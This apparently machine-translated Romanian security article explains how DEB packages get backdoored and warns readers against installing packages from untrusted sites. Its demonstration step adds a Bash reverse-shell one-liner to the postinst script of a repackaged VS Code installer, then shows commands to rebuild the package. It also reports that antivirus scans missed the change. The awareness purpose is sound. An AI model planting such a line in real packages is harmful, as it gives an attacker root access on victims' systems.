Cum sunt backdoor pachetele DEB și cum să le detectăm

Recomandări cheie

  • Pachetele DEB pot fi cu ușurință backdoor, permițând atacatorilor să injecteze cod rău intenționat în sistemul dvs. atunci când le instalați cu permisiuni root.
  • Pachetele DEB infectate sunt greu de detectat, deoarece este posibil să nu fie semnalate de software antivirus sau de soluții cloud precum VirusTotal.
  • Pentru a vă proteja, evitați descărcarea pachetelor DEB de pe site-uri aleatorii, rămâneți la site-uri oficiale de descărcare sau site-uri de încredere de comunitate și luați în considerare instalarea instrumentelor de securitate pentru a vă securiza sistemul Linux împotriva atacurilor de rețea.

Fișierele DEB sunt pachete software care sunt formatul principal de livrare a software-ului pe distribuțiile Linux bazate pe Debian.

Pentru a instala pachete DEB, trebuie să utilizați un manager de pachete precum dpkg cu permisiuni root. Atacatorii profită de acest lucru și injectează uși din spate în aceste pachete. Când le instalați cu dpkg sau cu orice alt manager de pachete, codul rău intenționat este, de asemenea, executat împreună și vă compromite sistemul.

Să explorăm exact modul în care pachetele DEB sunt backdoor și ce puteți face pentru a vă proteja.

Cum sunt pachetele DEB Backdoor?

Înainte de a înțelege cum sunt pachetele DEB backdoor, haideți să explorăm ce se află în interiorul unui pachet DEB. Pentru demonstrație, voi descărca pachetul Microsoft Visual Studio Code DEB de pe site-ul oficial Microsoft. Acesta este același pachet pe care l-ați descărca dacă doriți să instalați VS Code pe Linux.

Descarca: Codul Visual Studio

Acum că ați descărcat pachetul țintă, este timpul să-l despachetați. Puteți despacheta un pachet DEB utilizând comanda dpkg-deb cu indicatorul -R urmat de calea pentru stocarea conținutului:

 dpkg-deb -R <package_name> <path> 

Aceasta ar trebui să extragă conținutul pachetului VS Code.

  Ventilatoare de top, preț scăzut

Mutând în folder veți găsi mai multe directoare, cu toate acestea, interesul nostru se află doar în directorul DEBIAN. Acest director conține scripturi de întreținere care sunt executate în timpul instalării cu privilegii root. După cum probabil ți-ai dat seama deja, atacatorii modifică scripturile din acest director.

Pentru demonstrație, voi modifica scriptul postinst și voi adăuga un simplu shell TCP inversat Bash. După cum sugerează și numele, este un script care se execută după ce pachetul este instalat pe sistem.

Conține comenzi care finalizează configurațiile, cum ar fi configurarea legăturilor simbolice, gestionarea dependențelor și multe altele. Puteți găsi tone de diferite cochilii inversate pe internet. Majoritatea vor funcționa la fel. Iată exemplul de coajă inversă cu o singură linie:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Explicația comenzii:

  • bash: Aceasta este comanda care invocă shell-ul Bash.
  • -i: Indicatorul îi spune lui Bash să ruleze în modul interactiv, permițând I/O pentru comandă în timp real.
  • >& /dev/tcp/ip/port: Aceasta redirecționează ieșirea standard și eroarea standard către un soclu de rețea, stabilind în esență o conexiune TCP la și .
  • 0>&1: Aceasta redirecționează intrarea și ieșirea către aceeași locație, adică către soclul de rețea.

Pentru cei neinițiați, un reverse shell este un tip de cod care, atunci când este executat pe mașina țintă, inițiază o conexiune înapoi la mașina atacatorului. Reverse shell-urile sunt o modalitate excelentă de a ocoli restricțiile firewall-ului, deoarece traficul este generat de la mașina din spatele firewall-ului.

Iată cum arată scriptul modificat:

După cum puteți vedea, totul este la fel, dar a fost adăugată o singură linie, adică shell-ul nostru invers Bash. Acum trebuie să construiți fișierele înapoi în formatul „.deb”. Pur și simplu utilizați comanda dpkg cu indicatorul –build sau folosiți dpkg-deb cu indicatorul -b urmat de calea conținutului extras:

 dpkg --build <directory>
dpkg-deb -b <directory>

Acum pachetul DEB cu ușă în spate este gata pentru a fi expediat pe site-uri rău intenționate. Să simulăm un scenariu în care o victimă a descărcat pachetul DEB în sistemul său și îl instalează ca orice alt pachet obișnuit.

Panoul de sus terminal este pentru POV-ul victimei, iar cel de jos este POV-ul atacatorului. Victima instalează pachetul cu sudo dpkg -i, iar atacatorul ascultă cu răbdare conexiunile primite folosind comanda netcat în Linux.

De îndată ce instalarea se termină, observați că atacatorul obține conexiunea reverse shell și acum are acces root la sistemul victimei. Acum știi cum pachetele DEB sunt backdoor. Să învățăm acum cum vă puteți proteja.

Cum să detectați dacă un pachet DEB este rău intenționat

Acum că știți că pachetele DEB infectate sunt un lucru, trebuie să vă întrebați cum să le găsiți pe cele infectate. Pentru început, puteți încerca să utilizați un software antivirus Linux precum ClamAV. Din păcate, atunci când o scanare ClamAV a fost executată pe pachet, nu a marcat-o ca fiind rău intenționată. Iată rezultatul scanării:

Deci, dacă nu aveți o soluție antivirus premium (ceea ce nu este o garanție că nu veți fi piratat), este destul de greu să detectați pachetele DEB rău intenționate. Să încercăm să folosim o soluție cloud precum site-ul web VirusTotal:

După cum puteți vedea, VirusTotal nu a detectat nimic în neregulă cu el. Ei bine, singura modalitate de a vă proteja împotriva unor astfel de amenințări este să urmați igiena de bază de securitate, cum ar fi să nu descărcați fișiere din surse necunoscute, să verificați întotdeauna hash-ul unui fișier și, în general, să evitați instalarea de software umbrit.

Internetul este plin de astfel de amenințări. Singura modalitate de a naviga fără a-ți pierde datele este să ai inteligență despre tine și să răsfoiești site-uri de încredere. În plus, pentru Linux, ar trebui să încercați, de asemenea, să aflați dacă software-ul pe care îl descărcați are o variantă AppImage, deoarece acestea sunt autonome și pot fi sandbox și, astfel, ținute în afara contactului cu sistemul dvs.

Nu descărcați pachete DEB de pe site-uri aleatorii!

Pachetele DEB nu sunt în mod inerent rele, cu toate acestea, atacatorii le pot folosi cu ușurință în arme și le pot expedia utilizatorilor nebănuiți. După cum s-a demonstrat, un pachet DEB poate fi deschis și modificat cu ușurință pentru a adăuga cod personalizat cu doar câteva comenzi, făcându-l un vector comun pentru livrarea malware.

Chiar și ușile din spate simple ale pachetelor DEB nu sunt prinse de soluțiile antivirus de top. Așadar, cel mai bun lucru de făcut este să joci în siguranță, să-ți arăți bunul simț în timp ce navighezi pe web și să descărcați întotdeauna software-ul numai de pe site-uri oficiale de descărcare sau de pe site-uri de încredere ale comunității.

Acum că sunteți conștient de riscurile de securitate asociate cu instalarea pachetelor DEB de pe site-uri noi sau necunoscute, ar trebui să fiți precaut când instalați software nou. Cu toate acestea, să fii atent la ceea ce instalezi nu este suficient. Sistemul dvs. Linux poate fi și o țintă a atacurilor de rețea.

Pentru a vă asigura că sunteți în siguranță în cazul unui atac de rețea, ar trebui să luați în considerare instalarea instrumentelor de securitate a rețelei.